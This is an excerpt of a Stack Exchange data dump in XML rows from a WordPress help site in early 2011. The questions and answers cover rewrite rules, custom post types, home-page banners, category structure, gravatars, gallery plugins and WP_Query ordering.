  <row Id="7577" PostTypeId="1" CreationDate="2011-01-23T23:19:35.673" Score="2" ViewCount="387" Body="&lt;p&gt;I have been wanting to do something similar like this for a long time. I have a url &lt;a href=&quot;http://studionumberone.com/portfolio/obey-clothing/&quot; rel=&quot;nofollow&quot;&gt;http://studionumberone.com/portfolio/obey-clothing/&lt;/a&gt; which just shows the jquery gallery of images, I then have studionumberone.com/portfolio/obey-clothing/?view=all. Which shows all of the images in the gallery one above each other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the url to be studionumberone.com/portfolio/obey-clothing/all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom post type just does a basic:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); &#xA;$view = $_GET['view'];&#xA;?&amp;gt;&#xA;&amp;lt;?php if ($view == &quot;all&quot;) { ?&amp;gt;&#xA;show all images&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;show gallery shortcode &#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried (no luck):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'ss_permalinks' );&#xA;function ss_permalinks() {&#xA;    add_rewrite_rule(&#xA;        '([^/]+)/all/?',&#xA;        'index.php?view=all&amp;amp;service=$matches[1]',&#xA;        'top'&#xA;);&#xA;}&#xA;add_filter( 'query_vars', 'ss_query_vars' );&#xA;function ss_query_vars( $query_vars ) {&#xA;    $query_vars[] = 'view';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2691" LastActivityDate="2011-08-19T10:09:32.810" Title="add_rewrite_rule and custom variable" Tags="&lt;custom-post-types&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="7578" PostTypeId="2" ParentId="7524" CreationDate="2011-01-23T23:25:37.680" Score="1" ViewCount="" Body="&lt;p&gt;In Permalink Settings I would try changing Category base to &quot;category&quot; and see if thelazy.info/category/behavior/ works or not.&lt;/p&gt;&#xA;" OwnerUserId="2691" LastActivityDate="2011-01-23T23:25:37.680" CommentCount="1" />
  <row Id="7579" PostTypeId="2" ParentId="7572" CreationDate="2011-01-23T23:29:25.600" Score="1" ViewCount="" Body="&lt;p&gt;Do you have a trailing slash in your custom permalinks structure?&lt;/p&gt;&#xA;" OwnerUserId="2691" LastActivityDate="2011-01-23T23:29:25.600" CommentCount="2" />
  <row Id="7580" PostTypeId="2" ParentId="7572" CreationDate="2011-01-24T00:17:44.633" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Try deactivate all plugins&lt;/li&gt;&#xA;&lt;li&gt;Change Permalink Settings to default and change back to your need.&lt;/li&gt;&#xA;&lt;li&gt;Reactive your plugins.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2163" LastActivityDate="2011-01-24T00:17:44.633" CommentCount="2" />
  <row Id="7581" PostTypeId="2" ParentId="7238" CreationDate="2011-01-24T00:39:09.067" Score="2" ViewCount="" Body="&lt;p&gt;You can do that without the plugin via the same type of jQuery function the plugin uses:&#xA;&lt;a href=&quot;http://stackoverflow.com/questions/4772434/looking-for-alternative-to-this-fly-by-in-wordpress-plugin&quot;&gt;http://stackoverflow.com/questions/4772434/looking-for-alternative-to-this-fly-by-in-wordpress-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-01-24T00:39:09.067" CommentCount="2" />
  <row Id="7582" PostTypeId="2" ParentId="7577" CreationDate="2011-01-24T00:51:10.863" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@westondeboer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are saying your post type is &lt;code&gt;'portfolio'&lt;/code&gt; here's what works on my WordPress v3.0.4 test site with a &lt;code&gt;'portfolio'&lt;/code&gt; custom post type defined. It replaces all the code you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init','yoursite_init');&#xA;function yoursite_init() {&#xA;  global&#xA;  $wp,$wp_rewrite;&#xA;  $wp-&amp;gt;add_query_var('view');&#xA;  $wp_rewrite-&amp;gt;add_rule('portfolio/([^/]+)/all',&#xA;    'index.php?view=all&amp;amp;post_type=portfolio&amp;amp;name=$matches[1]', 'top');&#xA;&#xA;  // Once you get working, remove this next line&#xA;  $wp_rewrite-&amp;gt;flush_rules(false);  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You also need to flush your rewrite rules which you can do by saving your Permalinks in the admin console.  Let me know if this solves your issue and if not please give me clarification.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You also need to capture the query parameter differently than using `$_GET['view']'; either of these will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Option 1&#xA;$view = {$GLOBALS['wp']-&amp;gt;query_vars['view'];&#xA;&#xA;// Option 2&#xA;global $wp;&#xA;$view = $wp-&amp;gt;query_vars['view'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-24T02:06:10.143" LastActivityDate="2011-01-24T02:06:10.143" CommentCount="6" />
  <row Id="7583" PostTypeId="2" ParentId="561" CreationDate="2011-01-24T02:01:44.983" Score="0" ViewCount="" Body="&lt;p&gt;Here's one possible issue: Among other things, make sure you are not out of disk space on your server.  The backup program will need a bit of space to .zip the extract and zip the database before it mails it.  &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-01-24T02:01:44.983" />
  <row Id="7584" PostTypeId="1" AcceptedAnswerId="23305" CreationDate="2011-01-24T02:11:57.220" Score="0" ViewCount="175" Body="&lt;p&gt;How can I have one larger banner on the home page, but a smaller banner on all other pages. &#xA;My home page is actually a page (as opposed to a post).  But I'm thinking the banner is too big (and the newness/cuteness of it is warn off to see it over and over on every page).  &lt;a href=&quot;http://NealWalters.com&quot; rel=&quot;nofollow&quot;&gt;http://NealWalters.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. - Someone with enough points, please add &quot;banner&quot; as a tag! &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-07-18T08:50:11.097" Title="Different banner on home page" Tags="&lt;homepage&gt;" AnswerCount="2" />
  <row Id="7585" PostTypeId="2" ParentId="7584" CreationDate="2011-01-24T02:21:03.770" Score="1" ViewCount="" Body="&lt;p&gt;use this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if(is_home()):&#xA;?&amp;gt;&#xA;&amp;lt;img src=&quot;http://NealWalters.com/large-banner.jpg&quot; /&amp;gt;&#xA;&amp;lt;?php&#xA;else:&#xA;?&amp;gt;&#xA;&amp;lt;img src=&quot;http://NealWalters.com/small-banner.jpg&quot; /&amp;gt;&#xA;&amp;lt;?php&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-01-24T02:21:03.770" CommentCount="5" />
  <row Id="7587" PostTypeId="1" AcceptedAnswerId="7590" CreationDate="2011-01-24T02:36:47.033" Score="2" ViewCount="158" Body="&lt;p&gt;Suppose I want to blog about three somewhat unrelated main topics: Money, Languages, and Information-Technology on the same blog.  How should I organize things for the best user experience?  How does would such a structure affect the default menu structure at the top&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I found this: &lt;a href=&quot;http://tpvswp.wordpress.com/2008/07/29/typepad-versus-wordpress-nested-categories/&quot; rel=&quot;nofollow&quot;&gt;Category-manager&lt;/a&gt; and researching further. Apparently Category-Manager is a plug-in, I'm installing it now. &lt;/p&gt;&#xA;" OwnerUserId="2550" LastEditorUserId="2550" LastEditorDisplayName="" LastEditDate="2011-01-24T02:48:19.793" LastActivityDate="2011-01-24T07:36:12.220" Title="Organizing by super-categories (or nested categories)?" Tags="&lt;custom-menus&gt;&lt;menus&gt;&lt;structuring&gt;" AnswerCount="2" />
  <row Id="7588" PostTypeId="1" AcceptedAnswerId="7614" CreationDate="2011-01-24T02:43:16.973" Score="0" ViewCount="127" Body="&lt;p&gt;I am following the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite#Examples&quot; rel=&quot;nofollow&quot;&gt;WP Example&lt;/a&gt;. I know my rewrite rule is being added into wordpress, so I just need to fix the actual rule. So here is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('rewrite_rules_array','mcs_TextbookRewriteRules');&#xA;add_filter('query_vars','mcs_insertTextbookQueryVars');&#xA;&#xA;// Adding a new rule&#xA;function mcs_TextbookRewriteRules($rules) {&#xA;    $newrules = array();&#xA;    $newrules['textbook/(cantonese|mandarin)/([C|M]K?[0-9]+)/([0-9]+)$'] = 'index.php?pagename=textbook/$matches[1]/?cls=$matches[2]&amp;amp;ch=$matches[3]';&#xA;    //$newrules['textbook/(cantonese|mandarin)/([C|M]K?[0-9]+)/([0-9]+)$'] = 'textbook/$matches[1]/index.php?cls=$matches[2]&amp;amp;ch=$matches[3]';&#xA;    return $newrules + $rules;&#xA;}&#xA;&#xA;// Adding the id var so that WP recognizes it&#xA;    function mcs_insertTextbookQueryVars($vars) {&#xA;    array_push($vars, 'cls');&#xA;    array_push($vars, 'ch');&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to map &lt;code&gt;http://localhost/wordpress/textbook/cantonese/CK1/6&lt;/code&gt; to &lt;code&gt;http://localhost/wordpress/textbook/cantonese/?cls=CK1&amp;amp;ch=6&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditorDisplayName="" LastEditDate="2011-01-24T21:57:19.970" LastActivityDate="2011-01-24T21:57:19.970" Title="Fixing custom rewrite rule" Tags="&lt;url-rewriting&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7589" PostTypeId="2" ParentId="7561" CreationDate="2011-01-24T02:44:26.150" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Osu:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were starting on the right track but you had several bits of WordPress hookage you still needed to add. An approach I like to use is to encapsulate a call to &lt;code&gt;get_calendar()&lt;/code&gt; in a class so we can use the low-level &lt;code&gt;'query'&lt;/code&gt; hook but only use for it for the one call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wrote up an example which you can drop into your theme's &lt;code&gt;functions.php&lt;/code&gt; file &lt;em&gt;(or in a &lt;code&gt;.php&lt;/code&gt; file for a plugin you might be writing)&lt;/em&gt; using a class I named &lt;code&gt;YourSite_Category_Calendar()&lt;/code&gt;, and here is how you'd call it in place of your call to &lt;code&gt;get_calendar()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cc = new YourSite_Category_Calendar('your-category');&#xA;echo $cc-&amp;gt;get_calendar();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the code for the class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;class YourSite_CategoryCalendar {&#xA;  var $category;&#xA;  var $initial;&#xA;  var $echo;&#xA;  static function on_load() {&#xA;    add_shortcode('category-calendar',array(__CLASS__,'shortcode'));&#xA;    add_action('init',array(__CLASS__,'init'));&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;add_rule('^events/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/?$',&#xA;      'index.php?post_type=event&amp;amp;year=$matches[1]&amp;amp;monthnum=$matches[2]&amp;amp;day=$matches[3]&amp;amp;category_name=$matches[4]',&#xA;      'top');&#xA;    $wp_rewrite-&amp;gt;flush_rules(false);  // Remove this after you've got it working&#xA;  }&#xA;  static function shortcode($attributes) {&#xA;    $attributes = wp_parse_args($attributes,array(&#xA;      'category' =&amp;gt; false,&#xA;    ));&#xA;    $cc = new YourSite_CategoryCalendar($attributes['category']);&#xA;    echo $cc-&amp;gt;get_calendar();&#xA;  }&#xA;  static function init() {&#xA;    register_post_type('event',array(&#xA;      'hierarchical'    =&amp;gt; true,&#xA;      'label'          =&amp;gt; 'Events',&#xA;      'public'          =&amp;gt; true,&#xA;      'show_ui'         =&amp;gt; true,&#xA;      'query_var'       =&amp;gt; 'event',&#xA;      'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'events'),&#xA;      'supports'        =&amp;gt; array('title','editor','custom-fields'),&#xA;      'taxonomies'      =&amp;gt; array('category'),&#xA;    ));&#xA;  }&#xA;  function __construct($category,$initial=true,$echo=true) {&#xA;    $this-&amp;gt;category = $category;&#xA;    $this-&amp;gt;initial = $initial;&#xA;    $this-&amp;gt;echo = $echo;&#xA;  }&#xA;  function get_calendar() {&#xA;    add_filter('query',array(&amp;amp;$this,'query'));&#xA;    ob_start();&#xA;    get_calendar($this-&amp;gt;category,$this-&amp;gt;initial,$this-&amp;gt;echo);&#xA;    $calendar = ob_get_clean();&#xA;    remove_filter('query',array(&amp;amp;$this,'query'));&#xA;    list($header,$body) = explode('&amp;lt;tbody&amp;gt;',$calendar);&#xA;    $find = '#(href=&quot;http://[^/]+)(/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/)#';&#xA;    $replace = '$1/events$2'.$this-&amp;gt;category.'/&quot;';&#xA;    $body = preg_replace($find,$replace,$body);&#xA;    return &quot;{$header}&amp;lt;tbody&amp;gt;{$body}&quot;;&#xA;  }&#xA;  function query($query) {&#xA;    if ($this-&amp;gt;category) {&#xA;      global $wpdb;&#xA;      $find = &quot;FROM {$wpdb-&amp;gt;posts}\\s+WHERE&quot;;&#xA;      $add =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;INNER JOIN {$wpdb-&amp;gt;term_relationships} calendar_term_relationship ON calendar_term_relationship.object_id={$wpdb-&amp;gt;posts}.ID&#xA;INNER JOIN {$wpdb-&amp;gt;term_taxonomy} calendar_term_taxonomy ON calendar_term_taxonomy.term_taxonomy_id=calendar_term_relationship.term_taxonomy_id&#xA;INNER JOIN {$wpdb-&amp;gt;terms} calendar_term ON calendar_term.term_id=calendar_term_taxonomy.term_id&#xA;WHERE calendar_term_taxonomy.taxonomy='category' AND calendar_term.slug='%s' AND&#xA;SQL;&#xA;      $replace = &quot;FROM {$wpdb-&amp;gt;posts} {$add} &quot;;&#xA;      $query = preg_replace(&quot;#{$find}#Us&quot;,$replace,$query);&#xA;      $query = preg_replace(&quot;#post_type\s*=\s*'post'#&quot;,&quot;post_type='event'&quot;,$query);&#xA;      $query = $wpdb-&amp;gt;prepare($query,$this-&amp;gt;category);&#xA;    }&#xA;    return $query;&#xA;  }&#xA;}&#xA;YourSite_CategoryCalendar::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Based on the comments I've added the URLs rewriting needed as well as a shortcode you'd call like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[category-calendar category=&quot;party&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-24T13:09:35.930" LastActivityDate="2011-01-24T13:09:35.930" CommentCount="13" />
  <row Id="7590" PostTypeId="2" ParentId="7587" CreationDate="2011-01-24T03:22:07.507" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@NealWalters:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is obviously more of an opinion question rather than a technical one but here's my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice: use no more than 10 categories.  Those &amp;lt;=10 categories when viewed together should define the essence of your blog.  Don't use subcategories. Then use lots of tags to define the topics you are talking about for each post.  So if for example you are writing a blog post in your &lt;em&gt;&quot;Money&quot;&lt;/em&gt; category, you might tag it with &lt;em&gt;&quot;401k&quot;&lt;/em&gt; or &lt;em&gt;&quot;stocks&quot;&lt;/em&gt; and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewed another way:&#xA;&lt;em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Force yourself to&#xA;  be very disciplined with categories&#xA;  and allow yourself to be very liberal&#xA;  with tags.&#xA;  &lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you do it this way then your questions about your menu becomes easy; use a tag cloud on your main page for each category but filter the tag cloud to be specific to the category.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-24T03:22:07.507" CommentCount="3" />
  <row Id="7591" PostTypeId="2" ParentId="2560" CreationDate="2011-01-24T03:34:10.477" Score="0" ViewCount="" Body="&lt;p&gt;@amanda&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello, &#xA;Try the beta version of Google XML sitemaps, it works for custom post. &#xA;im using it with WP 3.0.4 without any problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/plugin-google-xml-sitemaps-early-testers-wanted?replies=124&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/plugin-google-xml-sitemaps-early-testers-wanted?replies=124&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mauri.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-24T03:34:10.477" CommentCount="2" />
  <row Id="7592" PostTypeId="2" ParentId="2560" CreationDate="2011-01-24T04:13:10.897" Score="0" ViewCount="" Body="&lt;p&gt;I think you should check this link out too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://clockworkblogger.com/handmade-wordpress-sitemap-a-tutorial/&quot; rel=&quot;nofollow&quot;&gt;http://clockworkblogger.com/handmade-wordpress-sitemap-a-tutorial/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2011-01-24T04:13:10.897" />
  <row Id="7593" PostTypeId="1" CreationDate="2011-01-24T04:28:48.140" Score="1" ViewCount="179" Body="&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; I am using custom avatars for registered users and my own locally-hosted image as the default gravatar. I want to stop WordPress making HTTP requests to check for gravatar.com images on every comment. &#xA;Where my custom avatars are used, the scr result still includes a hashed link to gravatar.com with a redirect appended to the scr URI back to my own image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even without using a custom default avatar, there are two HTTP requests sent out. &#xA;For default avatars this looks like: &lt;a href=&quot;http://1.gravatar.com/avatar/9cf9ecff0dd6eed9a1ea0948c61dc3c2?s=44&amp;amp;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D44&amp;amp;r=G&quot; rel=&quot;nofollow&quot;&gt;http://1.gravatar.com/avatar/9cf9ecff0dd6eed9a1ea0948c61dc3c2?s=44&amp;amp;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D44&amp;amp;r=G&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I neither want, nor need, this kind of bloat in my pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; What I want to do is to override the gravatars function in pluggable.php so that it only runs when a checkbox is checked. I have added a form field to my comments form so commenters can specify if they want to use their gravatar image from gravatar.com, their Twitter profile image, or (if left unchecked) if default, locally-hosted images apply. If the checkbox for gravatar.com avatars isn't selected then it shouldn't run at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck on how to tie the get_avatar function to run only if the checkbox input returns true. &lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-24T16:36:53.623" LastActivityDate="2011-01-27T13:49:51.443" Title="How to make gravatar.com avatars conditional?" Tags="&lt;conditional-content&gt;&lt;overridable-functions&gt;&lt;avatar&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7594" PostTypeId="1" CreationDate="2011-01-24T05:55:53.553" Score="0" ViewCount="81" Body="&lt;p&gt;I'm using WP as a CMS. I've got multiple pages that share the same header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;group 1 has header 1. group 2 has header 2. etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at these two plugins for a quick way to insert a combination of html and shortcodes.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-include-file/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-include-file/&lt;/a&gt;&#xA;http://wordpress.org/extend/plugins/post-snippets/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both solutions are neat, but they do not process the short codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;bugs2&quot;&amp;gt;&#xA;&#xA;[caption id=&quot;attachment_214&quot; align=&quot;alignnone&quot; width=&quot;75&quot; caption=&quot;Pack Rat&quot;]&amp;lt;a href=&quot;pack-rat/&quot;&amp;gt;&amp;lt;img class=&quot;size-full wp-image-214&quot; title=&quot;ID Pack Rat&quot; src=&quot;http://xyz.com/epm/wp-content/uploads/2011/01/ID-Pack-Rat-e1295503174487.jpg&quot; alt=&quot;&quot; width=&quot;75&quot; height=&quot;75&quot; /&amp;gt;&amp;lt;/a&amp;gt;[/caption]&#xA;&#xA;[caption id=&quot;attachment_218&quot; align=&quot;alignnone&quot; width=&quot;75&quot; caption=&quot;Pocket Gopher&quot;]&amp;lt;a href=&quot;pocket-gopher/&quot;&amp;gt;&amp;lt;img class=&quot;size-full wp-image-218&quot; title=&quot;ID Pocket Gopher&quot; src=&quot;http://xyz.com/epm/wp-content/uploads/2011/01/ID-Pocket-Gopher-e1295503138319.jpg&quot; alt=&quot;&quot; width=&quot;75&quot; height=&quot;75&quot; /&amp;gt;&amp;lt;/a&amp;gt;[/caption]&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of an alternative way to embed or include this code from an external file (in an include folder on the server) and have the shortcodes processed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2469" LastActivityDate="2011-07-13T20:30:11.730" Title="Looking for a way to include/embed text from a file on a page so that the short codes are processed" Tags="&lt;plugins&gt;&lt;html&gt;&lt;shortcode&gt;&lt;include&gt;" AnswerCount="3" />
  <row Id="7595" PostTypeId="1" AcceptedAnswerId="7624" CreationDate="2011-01-24T05:56:54.117" Score="0" ViewCount="75" Body="&lt;p&gt;I'm looking at converting several PHP-Fusion sites to WordPress.  I'm wondering how to convert a page like this: &lt;a href=&quot;http://biztalk-training.com/weblinks.php&quot; rel=&quot;nofollow&quot;&gt;http://biztalk-training.com/weblinks.php&lt;/a&gt;.  Is there a plug-in for links that will create a similar type page.  Each link can have an abstract and the URL, and with PHP-Fusion it even tracks which links get clicked, but I can do without the counts or use Google-Analytics for that. &lt;/p&gt;&#xA;" OwnerUserId="2550" LastActivityDate="2011-01-24T15:45:31.213" Title="Converting a hierarchy of off-site web-links to Word-Press" Tags="&lt;links&gt;&lt;hierarchical&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="7596" PostTypeId="2" ParentId="3618" CreationDate="2011-01-24T06:06:03.630" Score="1" ViewCount="" Body="&lt;p&gt;PhotoSmash is quite flexible also. Some features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create unlimited galleries and show multiple galleries on a post or page&lt;/li&gt;&#xA;&lt;li&gt;extensive shortcode options&lt;/li&gt;&#xA;&lt;li&gt;set multiple sizes of images to be created&lt;/li&gt;&#xA;&lt;li&gt;resize images (unfortunately, doesn't have the javascript cropping function of NextGEN)&lt;/li&gt;&#xA;&lt;li&gt;adds your uploaded images as WP Attachments so you can also use the standard WP gallery functions&lt;/li&gt;&#xA;&lt;li&gt;allow site visitors to upload to galleries&lt;/li&gt;&#xA;&lt;li&gt;create custom fields&lt;/li&gt;&#xA;&lt;li&gt;create custom forms&lt;/li&gt;&#xA;&lt;li&gt;create custom layouts&lt;/li&gt;&#xA;&lt;li&gt;show tag, recent, highest rated, random, and contributor (virtual) galleries&lt;/li&gt;&#xA;&lt;li&gt;widget for displaying mini galleries in sidebar&lt;/li&gt;&#xA;&lt;li&gt;widget for Photo Tag Cloud&lt;/li&gt;&#xA;&lt;li&gt;with PS Extend, can create new Posts on image uploads&lt;/li&gt;&#xA;&lt;li&gt;and has its own iPhone App&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On WordPress:  &lt;a href=&quot;http://wordpress.org/extend/plugins/photosmash-galleries/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/photosmash-galleries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2697" LastActivityDate="2011-01-24T06:06:03.630" />
  <row Id="7597" PostTypeId="2" ParentId="3237" CreationDate="2011-01-24T06:14:59.343" Score="0" ViewCount="" Body="&lt;p&gt;You might check out the PhotoSmash Galleries plugin (available on Wordpress.org).  It allows you to create Galleries that users can upload images to.  It also has an optional star rating system.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use custom layouts to display your images in galleries however you like.  They're pretty easy to create using standard HTML/CSS/Javascript + PhotoSmash field tags (like [thumb] to show the thumbnail or [caption] to show Captions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create custom forms with custom fields, so you can pretty much get whatever info you want from your user and display it in galleries.  It doesn't provide multi-image uploading, which is a common request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the minimum role for uploading by gallery (right down to anonymous).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also show galleries containing a specific contributor's images as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also an extension plugin that creates new Posts on upload of images where you could have comments, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it does not have Commenting functionality within the galleries themselves, though this has been a commonly requested feature.&lt;/p&gt;&#xA;" OwnerUserId="2697" LastActivityDate="2011-01-24T06:14:59.343" />
  <row Id="7598" PostTypeId="2" ParentId="561" CreationDate="2011-01-24T06:31:12.933" Score="0" ViewCount="" Body="&lt;p&gt;I use same plugin (for a long time already) and this happened to me maybe 2-3 times. I was never able to figure out the reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deactivating and reactivating plugin fixed it for me in every case.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-24T06:31:12.933" />
  <row Id="7599" PostTypeId="1" AcceptedAnswerId="7603" CreationDate="2011-01-24T06:44:09.330" Score="0" ViewCount="264" Body="&lt;p&gt;The following code retrieves only custom post types with the custom taxonomy &quot;Slider.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to change their order to ASC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The  code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php // Retrive custom post type with a custom taxonomy assigned to it&#xA; $posts = new WP_Query('post_type=page_content&amp;amp;page_sections=Slider (Front Page)') ?&amp;gt;&#xA; &amp;lt;?php while ( $posts-&amp;gt;have_posts() ) : $posts-&amp;gt;the_post(); ?&amp;gt;&#xA; &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if I should use an array (not sure how anyways).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-24T07:19:06.103" Title="How do I change the order (ASC and DESC) in the following retrieval method using WP_Query?" Tags="&lt;wp-query&gt;" AnswerCount="2" />
  <row Id="7600" PostTypeId="2" ParentId="7593" CreationDate="2011-01-24T06:49:54.657" Score="4" ViewCount="" Body="&lt;p&gt;WordPress never makes any HTTP requests for gravatars, it just generates URLs to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't really need to override function completely. You can filter &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/pluggable.php#L1682&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_avatar&lt;/code&gt; hook&lt;/a&gt; and return different URL if email matches user with custom avatar set.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-24T06:49:54.657" />
